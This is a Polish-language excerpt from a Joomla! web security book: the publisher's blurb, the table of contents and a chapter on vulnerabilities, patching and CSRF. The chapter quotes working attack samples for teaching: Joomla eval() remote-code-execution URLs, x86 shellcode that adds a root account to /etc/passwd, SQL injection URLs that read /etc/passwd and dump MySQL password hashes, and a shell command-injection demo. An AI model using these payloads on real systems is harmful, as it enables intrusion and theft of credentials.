Helion SA
ul. Kościuszki 1c
44-100 Gliwice
tel. 032 230 98 63
e-mail: helion@helion.pl

Joomla! Zabezpieczanie witryn

Autor: Tom Canavan
Tłumaczenie: Roman Gryzowski, Tomasz Walczak
ISBN: 978-83-246-2197-2
Tytuł oryginału: Joomla! Web Security
Format: 170×230, stron: 248

Zabezpiecz stronę opartą o Joomla!

- Na co należy zwrócić uwagę przy wyborze firmy hostingowej?
- Jak wykorzystać potencjał plików .htaccess i php.ini?
- Jak reagować na ataki hakerów?

Nikomu nie trzeba jej przedstawiać – Joomla! to wiodący system zarządzania treścią. Wśród jej zalet warto wymienić łatwość instalacji i konfiguracji, dostępność wielu dodatków oraz cenę – jest to system darmowy. Jednakże z tej popularności wynika też pewna zasadnicza wada. Mianowicie Joomla! jest łakomym kąskiem dla internetowych włamywaczy.

Dzięki tej książce dowiesz się, jak zabezpieczyć swoją stronę, opartą o ten system, przed ich działaniem. Podręcznik w kompleksowy sposób opisuje wszystkie zagadnienia związane z bezpieczeństwem Joomla! – począwszy od wyboru firmy, na której serwerach umieścisz swoją stronę, a skończywszy na tworzeniu polityki reagowania na ataki. Ponadto podczas lektury zdobędziesz ogrom wiedzy na temat dostępnych narzędzi, metodologii ataków oraz konfiguracji za pomocą plików .htaccess i php.ini. Wśród poruszanych tematów znajdziesz również te poświęcone logom serwera i wykorzystaniu szyfrowanego kanału komunikacyjnego SSL. Książka ta jest obowiązkową lekturą dla wszystkich administratorów stron internetowych opartych o system Joomla! – zarówno tych małych, jak i korporacyjnych.

- Hosting – na co zwrócić uwagę
- Wykorzystanie środowiska testowego do prowadzenia badań nad bezpieczeństwem
- Dostępne narzędzia oraz ich przeznaczenie
- Luki w systemie
- Instalacja poprawek
- Ataki typu „wstrzyknięcie kodu” oraz „RFI”
- Techniki wykorzystywane przez włamywaczy
- Konfiguracja systemu za pomocą plików .htaccess oraz php.ini
- Logi serwera – sposoby na zdobycie wiedzy o systemie
- Wdrażanie SSL
- Zarządzanie incydentami

Zapewnij bezpieczeństwo Twojej witrynie!

Spis treści

O autorze 9

O redaktorze 11

Przedmowa 13

Rozdział 1. Zaczynamy 17

Wprowadzenie 17
Powszechnie używana terminologia 18
Wybór hostingu dostosowanego do potrzeb 19
Co to jest firma hostingowa? 19
Wybieranie firmy hostingowej 19
Pytania, jakie należy zadać przyszłemu dostawcy usług hostingowych 20
Pomieszczenia 20
O co zapytać dostawcę hostingu w kwestiach bezpieczeństwa? 21
Pytania dotyczące warunków w pomieszczeniach 21
Monitorowanie i ochrona lokalizacji 22
Instalowanie poprawek a bezpieczeństwo 22
Hosting współdzielony 23
Hosting dedykowany 25
Planowanie instalacji Joomla! 26
Jakiemu celowi ma służyć Twoja witryna? 26
Jedenaście kroków do udanej architektury witryny 27
Pobieranie systemu Joomla! 29
Ustawienia 30
.htaccess 33
Uprawnienia 34
Zarządzanie użytkownikami 35
Typowe błędy 35
Ustanawianie parametrów bezpieczeństwa 38
Podsumowanie 45

Rozdział 2. Testowanie i rozwijanie witryny 47

Witaj w laboratorium! 48
Środowisko testowe 48
Jaki to ma związek z zabezpieczeniami? 49
Błędne koło aktualizowania 49
Tworzenie planu testów 52
Wykorzystanie środowiska testowego w planowaniu działań na wypadek awarii 54
Tworzenie dobrej dokumentacji 55
Korzystanie z systemu zarządzania tworzeniem oprogramowania 58
Raportowanie 60
Ravenswood Joomla! Server 62
Uruchamianie 63
Podsumowanie 64

Rozdział 3. Narzędzia 65

Wprowadzenie 65
Narzędzia, narzędzia i jeszcze raz narzędzia 66
HISA 66
Joomla! Tools Suite with Services 72
Jak zdrowie? 73
Nmap — narzędzie do mapowania sieci ze strony insecure.org 80
Wireshark 82
Metasploit — zestaw narzędzi do testów penetracyjnych 85
Nessus — skaner luk 87
Podsumowanie 89

Rozdział 4. Luki 91

Wprowadzenie ... 91
Instalowanie poprawek jest nieodzowne ... 93
Czym jest luka? ... 94
Luki związane z uszkodzeniem zawartości pamięci ... 95
Wstrzyknięcie kodu SQL ... 97
Ataki przez wstrzyknięcie poleceń ... 99
Dlaczego pojawiają się luki? ... 100
Co można zrobić, aby zapobiec lukom? ... 100
Odmowa dostępu ... 103
Niewłaściwe formatowanie zmiennych i niebezpiecznych danych wejściowych ... 103
Brak testów w zróżnicowanym środowisku ... 104
Testowanie w różnych wersjach baz SQL ... 104
Współdziałanie z rozszerzeniami niezależnych producentów ... 104
Użytkownicy końcowi ... 105
Socjotechnika ... 105
Nieregularne instalowanie poprawek i aktualizacji ... 106
Podsumowanie ... 107

Rozdział 5. Anatomia ataków 109

Wprowadzenie 110
Wstrzyknięcie kodu SQL 110
Testowanie odporności witryny na wstrzyknięcie kodu SQL 114
Kilka metod zapobiegania wstrzyknięciu kodu SQL 114
Metoda zapobiegania wstrzyknięciu kodu SQL zalecana przez PHP.NET 115
Ataki RFI 116
Najprostszy atak 118
Co możemy zrobić, żeby powstrzymać atak? 118
Zapobieganie atakom RFI 122
Podsumowanie 123

Rozdział 6. Jak to robią „źli chłopcy"? 125

Obecne regulacje prawne 126
Namierzanie celu 127
Poznawanie celu 128
Narzędzia do wykrywania luk 131
Nessus 131
Nikto — skaner luk o otwartym dostępie do kodu źródłowego 132
Acunetix 132
Nmap 133
Wireshark 134
Ping Sweep 134
Firewalk 134
Angry IP Scanner 135
Cyfrowe graffiti a prawdziwe ataki 137
Wyszukiwanie celów ataku 144
Co możesz zrobić? 144
Przeciwdziałanie 145
Co zrobić, jeśli firma hostingowa nie jest skłonna do współpracy? 146
Co zrobić, jeśli ktoś włamał się do mojej witryny i ją oszpecił? 146
Co zrobić, jeśli napastnik umieścił na serwerze rootkita? 147
Słowo na zakończenie 147
Podsumowanie 148

Rozdział 7. Pliki php.ini i .htaccess 149

Plik .htaccess 150
Zmniejszanie transferu danych 151
Wyłączanie sygnatury serwera 151
Zapobieganie dostępowi do pliku .htaccess 151
Zapobieganie dostępowi do jakiegokolwiek pliku 151
Zapobieganie dostępowi do plików różnych typów 152
Zapobieganie nieuprawnionemu przeglądaniu katalogów 152
Ukrywanie rozszerzeń skryptów 153
Ograniczanie dostępu do sieci LAN 153
Udostępnianie katalogów na podstawie adresu IP i (lub) domeny 153

Blokowanie dostępu i zezwalanie na dostęp do domeny na podstawie przedziału adresów IP 154
Blokowanie hotlinkingu i zwracanie materiałów zastępczych 154
Blokowanie robotów, programów typu site ripper, przeglądarek offline i innych „szkodników" 155
Pliki, katalogi i inne elementy chronione hasłem 157
Aktywowanie trybu SSL za pomocą pliku .htaccess 160
Automatyczne ustawianie uprawnień do plików różnych typów 160
Ograniczanie wielkości plików w celu ochrony witryny przed atakami przez odmowę usługi (DoS) 161
Niestandardowe strony błędów 161
Udostępnianie uniwersalnej strony błędu 162
Zapobieganie dostępowi w określonych godzinach 162
Przekierowywanie żądań z danym łańcuchem znaków pod określony adres 162
Wyłączanie ustawienia magic_quotes_gpc na serwerach z obsługą PHP 163
Plik php.ini 164
Czym jest plik php.ini? 164
Jak przebiega odczytywanie pliku php.ini? 164
Podsumowanie 166

Rozdział 8. Pliki dziennika 167

Czym dokładnie są pliki dziennika? 168
Nauka czytania logów 169
A co z tym? 170
Kody stanu w HTTP 1.1 172
Analizowanie plików dziennika 175
Łańcuchy znaków z nazwą agenta 176
Blokowanie przedziałów adresów IP z danego kraju 177
Skąd pochodzi napastnik? 177
Konserwowanie plików dziennika 178
Etapy konserwowania plików dziennika 179
Narzędzia do przeglądania plików dziennika 180
BSQ-SiteStats 180
JoomlaWatch 181
AWStats 181
Podsumowanie 182

Rozdział 9. SSL w witrynach opartych na Joomla! 183

Czym jest technologia SSL (TLS)? 184
Używanie SSL do nawiązywania zabezpieczonych sesji 185
Certyfikaty autentyczności 186
Uzyskiwanie certyfikatów 187
Procedura wdrażania SSL 188
SSL w systemie Joomla! 188
Kwestie związane z wydajnością 190
Inne zasoby 191
Podsumowanie 191

Rozdział 10. Zarządzanie incydentami 193

Tworzenie polityki reagowania na incydenty 194
Tworzenie procedur na podstawie polityki reagowania na incydenty 197
Obsługa incydentu 199
Komunikacja z zewnętrznymi jednostkami na temat incydentów 199
Określanie struktury zespołu 203
Podsumowanie 203

Dodatek A Podręcznik zabezpieczeń 205

Spis treści podręcznika zabezpieczeń 205
Informacje ogólne 206
Przygotowywanie pakietu narzędzi 206
Narzędzia do tworzenia kopii zapasowej 207
Lista kontrolna z obszaru pomocy 207
Codzienne operacje 209
Podstawowa lista kontrolna z obszaru bezpieczeństwa 209
Narzędzia 210
Nmap 210
Telnet 212
FTP 212
Skanowanie pod kątem wirusów 212
JCheck 212
Zestaw narzędzi dla systemu Joomla! 213
Narzędzia dla użytkowników Firefoksa 213
Porty 214
Pliki dziennika 216
Kody stanu serwera Apache 216
Format CLF 218
Informacje o kraju — kody domen najwyższego poziomu 219
Lista krytycznych ustawień 227
Plik .htaccess 227
Plik php.ini 230
Ogólne informacje na temat serwera Apache 231
Lista portów 232
Podsumowanie 236

Skorowidz 237

4

ROZDZIAŁ

Luki

Luki istnieją w każdym zbudowanym przez człowieka systemie, a oprogramowanie to technologia w rodzaju „czarnej skrzynki" — użytkownicy często nie mają wiedzy ani możliwości potrzebnych do wykrycia słabych punktów rozwiązania. Nawet programiści czasem nie posiadają zasobów niezbędnych do wyczerpującego przetestowania systemu pod kątem luk.

Społeczeństwo staje się coraz bardziej zależne od systemów komputerowych, które sterują operacjami bankowymi, niezbędną infrastrukturą (na przykład sieciami elektrycznymi), a nawet Twoją opartą na Joomla! witryną. Dlatego musisz znać odpowiedzi na poniższe pytania:

- Czym są luki?
- Dlaczego istnieją?
- Jak można zapobiec ich powstawaniu?

Wprowadzenie

Czy czytałeś albo słyszałeś kiedyś opowiastkę dla dzieci o Małej Czerwonej Kurce? Pewnego razu Mała Czerwona Kurka znalazła ziarna pszenicy. Prosiła różne zwierzęta o pomoc przy sianiu zboża, podlewaniu go, zbiorach i mieleniu mąki na chleb. Wszystkie zwierzaki odmówiły, tłumacząc się brakiem czasu. Były po prostu zbyt zajęte!

Kiedy Mała Czerwona Kurka upiekła chleb dla siebie i swych kurcząt, każde stworzenie z zagrody poczuło jego zapach. Wszystkie zwierzęta zbiegły się z przyjaznymi minami, aby uszczknąć coś dla siebie. Kurka oczywiście przegoniła je, ponieważ nikt nie chciał pomóc jej w pracy.

Zacząłem od tej historyjki, ponieważ występujące w niej postacie odpowiadają różnym funkcjom omawianym w dalszej części rozdziału.

Pomyśl o projektancie aplikacji, który pracuje niestrudzenie i prosi zaufanych klientów o udział w testach. Użytkownicy odmawiają, ale później narzekają na błędy, kiedy te się ujawnią.

Możliwe, że firma udostępnia oprogramowanie, ale marketing jest w niej ważniejszy niż staranne testy nakierowane na usunięcie luk. Jednak ostatecznie odpowiedzialność za usterki spada na programistę.

Gdy producent udostępnia poprawki, klienci, którzy powinni je zainstalować, ale tego nie zrobili, przypominają zwierzęta, dające się łatwo zaatakować napastnikom. Nie zrobiły tego, czego oczekiwała od nich Kurka.

Czy pamiętasz robaka o nazwie **Slammer**, który pojawił się kilka lat temu? Napastnicy wykorzystali lukę w systemie MS-SQL, choć już od pewnego czasu dostępna była odpowiednia poprawka. Robak przechodził z serwera na serwer i w ciągu kilku godzin rozprzestrzenił się po świecie. Klienci, którzy zainstalowali poprawki, nie ponieśli szkód. Takie zachowanie, w rodzaju „jestem zbyt zajęty, Czerwona Kurko" (aby dodać poprawkę), spowodowało w wielu firmach niepotrzebne i kosztowne przestoje w działaniu serwera. Oto oficjalny opis problemu przedstawiony przez organizację CERT:

> „Robak atakujący komputery z systemem SQL Server to samodzielnie rozprzestrzeniający się szkodliwy kod, który wykorzystuje lukę opisaną w dokumencie **VU#484891 (CAN-2002-0649)**. Luka ta umożliwia uruchomienie na komputerze z systemem SQL Server dowolnego kodu w wyniku wykorzystania przepełnienia bufora stosu.
>
> Kiedy robak zaatakuje maszynę, próbuje się rozprzestrzenić. W tym celu tworzy 376-bajtowe pakiety i przesyła je pod losowo wybrane adresy IP do portu 1434/udp. Jeśli pakiet trafi do podatnej na atak maszyny, ofiara zostanie zainfekowana i także zacznie rozprzestrzeniać robaka. Obecna wersja robaka jedynie wykrywa nowe serwery i nie zawiera innych instrukcji.
>
> Działanie tego robaka można łatwo wykryć ze względu na obecność w sieci 376-bajtowych pakietów UDP. Pochodzą one z na pozór losowych adresów IP i są skierowane do portu 1434/udp".

Na szczęście wspomniany robak — choć szkodliwy — nie obejmował niebezpiecznych instrukcji. Gdyby administratorzy centrów danych przeglądali poprawki dla kluczowych systemów (takich jak MS-SQL) bezpośrednio po ich udostępnieniu, skutki działania Slammera byłyby dużo mniejsze.

Według Microsoftu poprawka była dostępna już w lipcu 2002 roku. Jednak pojawienie się Slammera wywołało pandemię. Zapoznaj się z poniższym opisem.

> „Lukę, którą wykorzystał robak, Microsoft zlikwidował w poprawce zabezpieczeń z lipca 2002 roku i w dalszych uzupełniających poprawkach (ostatnia pojawiła się w październiku 2002 roku). Ponadto ze względu na zaangażowanie w kwestie bezpieczeństwa przy wdrażaniu oprogramowania w ramach inicjatywy Trustworthy Computing ponownie udostępniliśmy najnowszą poprawkę zabezpieczeń z dołączonym programem instalacyjnym, który pomaga administratorom systemów przyspieszyć instalację".

Pojęciem, które często pojawia się wraz ze słowem „luka", jest *eksploit*. Wykrycie słabych punktów przyciąga „złych chłopców", którzy chcą wykorzystać luki w celu zaatakowania systemu.

Instalowanie poprawek jest nieodzowne

Nowszy przykład braku zabezpieczeń to luka umożliwiająca ataki CSRF (ang. *Cross-Site Request Forgery*) w systemach Joomla! 1.x i Joomla! 1.5. Warto tu wspomnieć, że Joomla! to nie jedyna aplikacja zaatakowana eksploitem wykorzystującym tę lukę. Przyczyną problemu jest natura działania sieci WWW. Istnieją kody, które mogą spowolnić atak i w wielu przypadkach go zablokować. W czasie, kiedy powstawała ta książka, pojawiło się niedoskonałe rozwiązanie problemu CSRF, jednak informacji o poprawce nie rozpowszechniano publicznie. Producenci oprogramowania nierzadko stosują takie podejście. Ze względu na ograniczone zasoby muszą koncentrować się na najważniejszych, priorytetowych zadaniach. Dlatego to użytkownicy końcowi odpowiadają za zainstalowanie poprawki, kiedy się o niej dowiedzą. Jeśli producent systemu Joomla! udostępni aktualizację, a Ty jej nie dodasz, będziesz ponosił odpowiedzialność za szkody. Jeżeli jednak twórcy aplikacji świadomie zignorują lukę w zabezpieczeniach, to oni będą winni zaniedbania. Jednak ostatecznie za bezpieczeństwo odpowiada użytkownik.

Eksploit CSRF jest interesujący, ponieważ związany jest z atakami „socjotechnicznymi". Oznacza to, że jeśli użytkownik nie będzie współpracował z napastnikami, nikt nie będzie mógł wyrządzić mu szkody.

Współdziałanie klienta umożliwia agresorom założenie w witrynie konta głównego administratora. Phil Taylor, poważany członek społeczności związanej z Joomla!, zademonstrował działanie omawianego eksploita w kilka godzin od czasu jego ujawnienia. W tym czasie utworzył konto głównego administratora w jednej witrynie (ten test służył tylko jako ilustracja problemu, a nie do przeprowadzenia ataku).

Dobra wiadomość jest taka, że według Phila Taylora (*phil-taylor.com*) problem można łatwo rozwiązać przez zachowanie zdrowego rozsądku przez użytkowników. Poniższy fragment pochodzi z artykułu ze strony *http://blog.phil-taylor.com/2008/01/05/using-prisim-to-administrate-joomla-safer/* (wersja ze stycznia 2008 roku), który zawiera doskonały opis zagadnienia.

> „Ostatnio wiele się mówi o atakach CSRF w systemach Joomla! 1.0.13/1.5. CSRF to problem we wszystkich aplikacjach sieciowych, a w wersjach Joomla! 1.0.14 i Joomla! 1.5 wzmocniono zabezpieczenia w tym zakresie. Nie oznacza to jednak, że systemy te są w pełni bezpieczne, ponieważ w praktyce nie można zablokować wszystkich ataków CSRF bez zakłócenia pracy oprogramowania. Joomla!, podobnie jak większość aplikacji sieciowych, ma jak najbardziej utrudniać wykorzystanie techniki CSRF do przejęcia witryn opartych na Joomla!".

Przytaczam te uwagi tylko jako akademickie rozważania, ponieważ problem został rozwiązany przed zakończeniem prac nad tą książką.

Eksploity „socjotechniczne" to jedne z najbardziej niebezpiecznych sposobów wykorzystania luk.

Na blogu Phila znajdziesz też wskazówki, które pomogą Ci zabezpieczyć witrynę przed tym podstępnym atakiem:

– **ZAWSZE** klikaj przycisk *Wyloguj* w panelu administracyjnym Joomla!, kiedy skończysz pracę.

– **NIGDY** nie odwiedzaj innych witryn, kiedy jesteś zalogowany w panelu administracyjnym Joomla!.

– Jeśli zezwalasz użytkownikom na przesyłanie i modyfikowanie elementów witryny przy użyciu komponentów niezależnych producentów, to w czasie, kiedy jesteś zalogowany w panelu administracyjnym Joomla!, nie przeglądaj własnego serwisu lub rób to w ograniczonym zakresie.

– **NIGDY** nie klikaj odnośników typu *Aktualizuj komponent* w komponentach niezależnych producentów.

– **NIGDY** nie przeglądaj forum, kiedy jesteś zalogowany w panelu administracyjnym Joomla!.

Omawiana luka jest poważna, jednak lektura blogu Phila Taylora pozwoli Ci łatwo zapobiec jej wykorzystaniu.

Więcej informacji znajdziesz w ciekawym artykule na temat CSRF:

http://shiflett.org/articles/cross-site-request-forgeries.

Zwróć uwagę na datę artykułu. Omawiany eksploit jest starszy niż Joomla!, co pokazuje, że ataki CSRF nie są specyficzne dla tego systemu. W ostatnich latach problem dotknął nawet pocztę Gmail. Przedstawione porady znajdują zastosowanie przy korzystaniu z każdej aplikacji sieciowej z poufnymi danymi (na przykład w systemach bankowości internetowej).

Czym jest luka?

Oto definicja „luki" (ang. *vulnerability*) z Wikipedii:

> *W dziedzinie bezpieczeństwa komputerów pojęcie „luka" oznacza słaby punkt w systemie, który umożliwia napastnikom naruszenie integralności aplikacji. Luki mogą być efektem stosowania słabych haseł, wystąpienia błędów w oprogramowaniu, wstrzyknięcia kodu skryptu, wstrzyknięcia kodu SQL, działania rootkita Blue Pill lub szkodliwego oprogramowania. Niektóre luki są teoretyczne, w przypadku innych znane są przykładowe eksploity.*

Struktura w języku programowania jest uznawana za lukę, jeśli jest podstawową przyczyną usterek w wielu programach.

Możesz się zastanawiać, dlaczego w systemie pojawiły się słabe punkty i czy programiści nie mogli bardziej się postarać. To uzasadnione pytania. Jednak zanim zaczniesz obwiniać nieszczęsnych, przykutych do klawiatur programistów, przyjrzyj się kilku dobrze poznanym obszarom, w których mogą wystąpić luki.

W Wikipedii można znaleźć kilka przyczyn problemów:

- **Błędy w zarządzaniu hasłami.** Użytkownicy stosują słabe hasła, które można złamać metodą ataku siłowego. Klienci przechowują hasła na komputerze w miejscu, do którego program ma dostęp. Użytkownicy stosują te same hasła w wielu aplikacjach i witrynach.
- **Elementarne błędy w projekcie systemu operacyjnego.** Producent systemu operacyjnego decyduje się zastosować nieoptymalne metody zarządzania kontami użytkowników i programami. Na przykład w niektórych systemach każda aplikacja i osoba ma domyślnie pełny dostęp do wszystkich zasobów komputera. Ta wada umożliwia wirusom i szkodliwemu oprogramowaniu wykonywanie poleceń w imieniu administratora.
- **Błędy w oprogramowaniu.** Programista pozostawia możliwą do wykorzystania usterkę w programie. Błędy tego typu pozwalają napastnikom na przykład pominąć proces sprawdzania uprawnień dostępu do danych lub wykonać polecenia w systemie, w którym działa dana aplikacja. Ponadto programista może zapomnieć o sprawdzaniu rozmiaru buforów danych, które mogą zostać przepełnione, co prowadzi do uszkodzenia zawartości pamięci na stosie lub stercie (może to też spowodować uruchomienie na komputerze kodu przesłanego przez napastnika).
- **Brak sprawdzania danych wejściowych od użytkownika.** Programista zakłada, że wszystkie dane od użytkownika są bezpieczne. Programy, które nie sprawdzają takich danych, umożliwiają bezpośrednie wykonanie poleceń lub instrukcji SQL (są to ataki przez przepełnienie bufora, wstrzyknięcie kodu SQL i wprowadzenie innych niesprawdzonych danych).

Luki występują we wszystkich systemach operacyjnych, aplikacjach i platformach. W następnych punktach opisuję techniczne aspekty wybranych słabych punktów.

Luki związane z uszkodzeniem zawartości pamięci

Niebezpieczne przepełnienie bufora to prawdopodobnie najczęściej występująca obecnie luka. Jest tak powszechna, że można ją znaleźć w niemal każdym systemie. Ilustrują to dalsze przykłady.

Poniższy fragment to opis ujawnionej luki związanej z błędem przepełnienia w systemie Joomla! 1.5 beta 2:

```
Podatne systemy:
   ■ Joomla! wersja 1.5 beta 2
   Odporne systemy:
   ■ Joomla! wersja 1.0.13
   ■ Joomla! wersja 1.5 RC1
```

```
Opis luki
Poniższe skrypty z domyślnej instalacji systemu Joomla! 1.5 beta 2 zawierają
podatny na atak kod:
1. components/com_search/views/search/tmpl/default_results.php
Wiersz 12.: <?php eval ('echo "' . $this->result . '";'); ?>
2. templates/beez/html/com_search/search/default_results.php
Wiersz 25.: echo '<p>' . eval ('echo "' . $this->result . ' ";');
Wartość parametru searchword jest przekazywana do podanego kodu z instrukcją
eval() i wykonywana. Napastnik może po funkcji echo wstawić nowe
polecenie PHP, które posłuży do uruchomienia instrukcji systemu
operacyjnego.
Aby pominąć ograniczenie długości szukanego słowa do 20 znaków, do
określania poleceń systemu operacyjnego używany jest nowy parametr
w żądaniu GET (zobacz przykładowy eksploit).
```

Oto przykładowy eksploit:

```
http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com_
search&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($_
GET[c]);%23&option=com_search&Itemid=1
```

W witrynie *www.milw0rm.com* znajdują się przykładowe instrukcje, które można przesłać przez uszkodzenie zawartości pamięci. Jest to BARDZO stary (z lata 2000 roku) kod dla interpretera poleceń, dlatego go wybrałem:

```
/*
 * Linux/x86
 *
 * Dodaje wiersz "z::0::0:::\n" do /etc/passwd.
 * Kod jest dość stary i można go dodatkowo zoptymalizować.
 */
#include <stdio.h>
char c0de[] =
/* main: */
"\xeb\x29"              /* jmp callz          */
/* start: */
"\x5e"                  /* popl %esi          */
"\x29\xc0"              /* subl %eax, %eax    */
"\x88\x46\x0b"          /* movb %al, 0x0b(%esi) */
.
. [część kodu usunięto]
.
"\x29\xc0"                                  /* subl %eax, %eax      */
"\x40"                                      /* incl %eax            */
"\xcd\x80"                                  /* int $0x80            */
/* callz: */
```

```
"\xe8\xd2\xff\xff\xff"                    /* call start          */
/* DATA */
"/etc/passwd"
"\xff"
"z::0:0:::\n";
main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%d\n",strlen(c0de));
        (*ret) = (int)c0de;
}
```

Ten eksploit dodaje użytkownika do opartego na procesorze Intel komputera, na którym działa system Linux x86 (jest to typowa, powszechnie używana platforma serwerowa). Ten prosty kod wstawia skrypt typu shellcode za pomocą techniki uszkadzania pamięci. Pozwala to napastnikowi uruchomić w pamięci niewielki program (w tym przypadku wystarczy 70 bajtów), który — jeśli jego działanie zakończy się powodzeniem — dodaje użytkownika do systemu. Umożliwia to późniejsze wykonanie dowolnych operacji.

W następnym punkcie omawiam inne rodzaje eksploitów. Pamiętaj, że nie jest to wyczerpująca lista, a jedynie przegląd często spotykanych technik.

Wstrzyknięcie kodu SQL

Jednym z najczęściej spotykanych i niebezpiecznych ataków na witryny oparte na Joomla! jest wstrzyknięcie kodu SQL (ang. *SQL injection*). Istotą tych ataków są nieprawidłowo przefiltrowane dane wejściowe przesyłane na serwer SQL. Specjalne symbole — tak zwane *znaki ucieczki* — służą do przekazywania żądań (zapytań) do bazy danych SQL niezgodnie z zamiarami programisty. Czasem umożliwia to zapisanie w bazie szkodliwych danych i powoduje ujawnienie ważnych informacji, na przykład haseł.

Oto przykładowy atak przez wstrzyknięcie kodu SQL opisany w witrynie *www.milw0rm.com*:

```
/etc/password:
http://[host]/activate.php?userName='/**/union/**/select/**/
1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*
```

Ten eksploit nie atakuje systemu Joomla!, ale inny CMS. Jeśli ów CMS działa z opcją **`magic_quotes`** ustawioną na **`off`**, przedstawiony eksploit pozwala napastnikowi zdobyć hasła użytkowników.

Aby uzyskać identyfikatory użytkowników, można pobrać nazwy i hasła użytkowników z tabeli `mysql.user`:

```
http://[host]/activate.php?userName='/**/union/**/select/**/
1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/
mysql.user/*
```

Omawiany eksploit wykorzystuje poniższą lukę:

```
$userName = $_GET["userName"];
$code     = $_GET["activate"];
$sql = "SELECT activated FROM users WHERE username = '$userName' AND
activated = '$code'";
```

Jeśli nie ustawisz opcji **magic_quotes** na **ON**, opisany eksploit pozwoli napastnikowi złamać system.

Przyczyną tej luki jest prosty błąd — brak właściwego filtrowania danych w określonej części systemu. W czasie pisania tego rozdziału przeprowadziłem kilka ataków opartych na tej luce na własną witrynę. Jednak opisany eksploit nie jest przeznaczony do wykorzystania słabych punktów w Joomla!, dlatego próby nie przyniosły żadnych efektów.

Twój egzemplarz systemu Joomla! może być podatny na ataki, jeśli korzystasz z rozszerzenia, które niepoprawnie filtruje dane. Opisany eksploit jest skuteczny w witrynach, które nie sprawdzają literałów znakowych podanych za pomocą znaków ucieczki. Takie literały są „wstrzykiwane" do bazy danych w instrukcjach w języku SQL. Ponadto jeśli dane od użytkowników nie są **ściśle typizowane**, system zgłosi wyjątek (baza danych nie „zrozumie" instrukcji i prześle komunikaty o błędach), co spowoduje, że system DBMS wygeneruje informacje w niezamierzony sposób. **Ścisła typizacja** oznacza, że w aplikacji obowiązują precyzyjne reguły dotyczące łączenia i używania danych określonego typu. Stosowanie tej techniki jest zgodne z podejściem „wielowarstwowej obrony".

Jednym z testów na sprawdzanie podatności aplikacji na wstrzyknięcie kodu SQL jest przesłanie dowolnych danych wejściowych w celu określenia warunków wystąpienia błędu. Na przykład spróbuj przesłać w zapytaniu SQL poniższy kod:

```
Select * from users where password =' ' or 1=1;--
```

Właśnie zażądałeś pobrania każdego wiersza tabeli. Baza danych dojdzie do sekwencji „--" i pominie dalszy kod. Jeśli w plikach dziennika z instrukcjami z zapytaniami SQL znajdziesz dziwne żądania, oznacza to, że ktoś próbuje zaatakować witrynę.

Przetestowanie podatności na omawiane ataki jest proste. Wystarczy przesłać zapytania SQL przy użyciu różnych znaków specjalnych i obserwować efekty.

Przez zastosowanie się do instrukcji zabezpieczania witryny możesz znacznie zmniejszyć podatność na ataki ze strony opisanych eksploitów. Ponadto zawsze warto poszukać w witrynach dla hakerów informacji o eksploitach powiązanych z rozszerzeniem, którego używasz.

Ataki przez wstrzyknięcie poleceń

Jeśli jesteś fanem serialu „Star Trek", może przypominasz sobie odcinek, w którym kapitan Kirk spotkał swego śmiertelnego wroga — Khana. Przeciwnicy stanęli naprzeciwko siebie, przy czym statek Khana miał przewagę nad *Enterprise*. Kirk poprosił Spocka o podanie „kodów poleceń" *Relianta* (taką nazwę nosił statek skradziony przez Khana), a następnie wprowadził sekwencję liczb i rozkazał komputerowi *Relianta* wyłączenie zabezpieczeń. Kirk zastosował w ten sposób atak przez wstrzyknięcie polecenia. Choć wydarzenia ze statku *Enterprise* są fikcyjne, ataki przez wstrzyknięcie poleceń są jak najbardziej realne. Wstrzyknięcie instrukcji do systemu (na przykład na serwer) sprawia, że niezawodność i wiarygodność danego komputera spadają do zera.

Na stronie *http://www.owasp.org/index.php/Command_Injection* znajduje się bardzo dobra definicja ataku przez wstrzyknięcie poleceń:

„Celem ataku przez wstrzyknięcie poleceń jest wstawienie i wykonanie instrukcji określonych przez napastnika za pomocą podatnej na ten atak aplikacji. W takich warunkach program, który wykonuje niepożądane polecenia systemowe, przypomina powłokę systemową, a napastnik może jej używać jak uwierzytelniony użytkownik. Jednak instrukcje są uruchamiane z takimi samymi uprawnieniami i w tym samym środowisku, co dana aplikacja. Przyczyną ataków przez wstrzyknięcie poleceń jest najczęściej niedostateczna walidacja danych wejściowych, którymi napastnik może dodatkowo manipulować (za pomocą formularzy, plików cookie, nagłówków HTTP itd.).

Istnieje też inna odmiana omawianego ataku — wstrzyknięcie kodu. W tej specyficznej technice napastnik dodaje własny kod do istniejącego, przez co wzbogaca wbudowane funkcje aplikacji i nie potrzebuje wykonywać poleceń systemowych. Wstrzyknięty kod jest uruchamiany z tymi samymi uprawnieniami i w tym samym środowisku, co dany program".
Jeśli użyjesz kodu w standardowy sposób, zobaczysz oczekiwane dane:

```
$ ./catWrapper Story.txt
```

Przykładowy atak

Jeśli napastnik będzie chciał Cię zaatakować, może dodać na końcu wiersza średnik i dodatkową instrukcję, co spowoduje wykonanie przez nakładkę `catWrapper` polecenia `ls` oraz wyświetlenie zawartości danego katalogu.

```
$ ./catWrapper "Story.txt; ls"

When last we left our heroes...

Story.txt               doubFree.c              nullpointer.c
unstosig.c              www*                    a.out*
format.c                strlen.c                useFree*
catWrapper*             misnull.c               strlength.c
useFree.c               commandinjection.c      nodefault.c
trunc.c                 writeWhatWhere.c
```

Gdyby nakładka `catWrapper` miała wyższy poziom uprawnień niż standardowy użytkownik, umożliwiałaby wykonywanie dowolnych poleceń z danego poziomu.

Dlaczego pojawiają się luki?

Przyczyną powstawania usterek i luk jest kilka czynników. Najważniejszy z nich to złożoność. Ponadto kod może działać w nieoczekiwany sposób w interakcji z innymi fragmentami programu. Za każdym razem, kiedy producent dodaje do pakietu oprogramowania nowe funkcje, w aplikacji pojawia się wiele luk, którymi trzeba się zająć.

Inne przyczyny usterek to:

- niewystarczające testy i planowanie,
- niewłaściwa instalacja i konfiguracja serwera,
- złe ustawienia zapory,
- udostępnianie zbyt wielu informacji,
- niewłaściwe formatowanie zmiennych i niebezpiecznych danych wejściowych,
- brak testów w zróżnicowanym środowisku,
- interakcje z dodatkami niezależnych producentów,
- socjotechnika (tak, to też problem),
- nieregularne instalowanie poprawek i aktualizacji (nie jest to przyczyna problemów, ale prowadzi do umożliwienia użycia eksploitów),
- złośliwi hakerzy, którzy chcą włamać się do systemu,
